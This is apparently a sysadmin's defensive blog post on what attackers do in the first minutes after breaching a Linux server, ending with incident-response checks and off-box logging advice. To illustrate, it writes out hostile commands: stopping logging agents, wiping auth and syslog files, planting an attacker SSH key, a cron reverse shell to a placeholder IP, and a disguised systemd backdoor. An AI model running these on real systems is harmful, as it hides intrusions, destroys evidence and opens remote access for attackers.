When a hacker gets into your server, the first thing they do is not stealing data or deploying ransomware — it is securing their foothold. In the first minutes of a breach, an attacker typically disables logging, escalates privileges, and installs a persistence mechanism so you cannot easily kick them out. Understanding this post-exploitation chain matters because every minute you waste guessing, they are digging deeper into your infrastructure.
I have cleaned up enough compromised boxes to tell you the pattern is shockingly consistent. If you know what to look for in the first hours, you can still limit the blast radius.
Why the First Minutes Are About Persistence, Not Damage
Most sysadmins assume attackers immediately start exfiltrating databases or encrypting files. That is the Hollywood version. In reality, the first 5 to 10 minutes are quiet and methodical. The attacker wants to make sure you do not notice them and that a reboot or a killed process will not cut their access.
Their immediate priorities are usually:
- Confirm what user and shell they landed as
- Check for monitoring agents and logging services
- Disable or tamper with those observability tools
- Escalate to root if they are not already there
- Establish a backdoor that survives reboots
If you catch them in this phase, you have a real chance. Once persistence is in place, you are on borrowed time.
Disabling Logging and Monitoring Agents
The very first command I see attackers run is usually a check for what is watching them. They look for processes like auditd, syslog-ng, rsyslog, filebeat, or monitoring agents like the Zabbix agent and Datadog daemon.
A common pattern looks like this:
ps aux | grep -E 'audit|syslog|zabbix|filebeat|ossec|wazuh'
systemctl status auditd
systemctl status rsyslogIf they have root or sufficient privileges, they will kill or stop these services outright:
systemctl stop auditd
systemctl stop rsyslog
systemctl stop zabbix-agent2
pkill -9 -f filebeatSometimes they are more subtle. Instead of stopping the service, they just clear the logs so you see nothing suspicious:
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
history -c && history -wPrivilege Escalation: Getting to Root Fast
If the initial access is through a web shell, a vulnerable service running as www-data, or a low-privilege SSH account, the next step is escalating to root. Attackers will enumerate the system looking for misconfigurations.
They typically check:
- Kernel version for known exploits (
uname -a) - Sudo misconfigurations (
sudo -l) - SUID binaries (
find / -perm -4000 -type f 2>/dev/null) - Writable cron scripts or system paths
- Exposed secrets in shell history or config files
If you have a sloppy sudoers entry like NOPASSWD on a script that runs shell commands, you are basically handing them root. I have seen this exact misconfiguration lead to full compromise in under two minutes.
Warning: Always test sudo rules in a staging environment. A NOPASSWD entry on the wrong binary is a root shell waiting to happen.
Establishing Persistence: Backdoors and SSH Keys
Once they have root, they make sure they can come back. This is the phase that makes incident response painful if you miss it. The classic move is dropping an authorized SSH key into the root account or a service account:
mkdir -p ~/.ssh
echo 'ssh-ed25519 AAAAC3Nza... attacker@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keysBut the smarter ones use cron or systemd timers to re-establish access periodically. A reverse shell that phones home every 5 minutes:
(crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -Or a malicious systemd service that looks legitimate at first glance:
[Unit]
Description=System Network Monitor
[Service]
Type=simple
ExecStart=/usr/local/bin/.sysmon
Restart=always
[Install]
WantedBy=multi-user.targetNote: Attackers love naming things .sysmon, kworker_aux, or similar names that blend in with normal system processes. Always sort your process list by start time and CPU, not just by name, when investigating.
Hiding Traces and Clearing History
Before they start doing actual malicious work, they clean up after themselves. Disabling bash history is standard:
unset HISTFILE
export HISTSIZE=0
history -cSome attackers also modify logrotate configs or delete specific time ranges from logs using tools like logtamper or simple sed one-liners. This is why having logs off-box is non-negotiable in any serious production environment.
What You Should Check Immediately After a Suspected Breach
If you suspect a breach, do not reboot the server immediately. Rebooting can destroy volatile evidence in memory and kill active connections that tell you where the attacker is coming from. Instead, start with these checks:
- Check currently logged-in users:
wandlast -a -i - Look for unexpected SSH keys:
find / -name authorized_keys 2>/dev/null - Review running processes sorted by start time:
ps aux --sort=-start_time - Check cron for all users:
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done - Inspect systemd services modified recently:
find /etc/systemd -mtime -1 -type f - Review network connections:
ss -tulpnandnetstat -antp
As I mentioned before in my post about production Linux commands (https://furkanikkan.com/urun/production-ortaminda-gercekten-kullandigim-15-linux-terminal-komutu-25), having a toolkit of reliable commands ready before an incident saves you critical minutes when you are panicking at 2 AM.
The Reality of Post-Breach Response
The attackers are fast. They have scripts that automate this entire chain in seconds. You need to be faster at detecting, not just at reacting. If your monitoring tells you about a breach three hours later, you already lost the first minutes — and those minutes are everything.
Build your detection around the assumption that the attacker will try to disable it. That means immutable logs, alerting on service stops, and file integrity monitoring on critical paths like ~/.ssh/authorized_keys and /etc/cron*. If you only take one thing from this, make it off-box logging. Everything else is fixable later, but erased evidence is gone forever.
Cover image: artofthehak · PDM (Openverse / kamu malı) · https://www.flickr.com/photos/158359056@N03/29635318598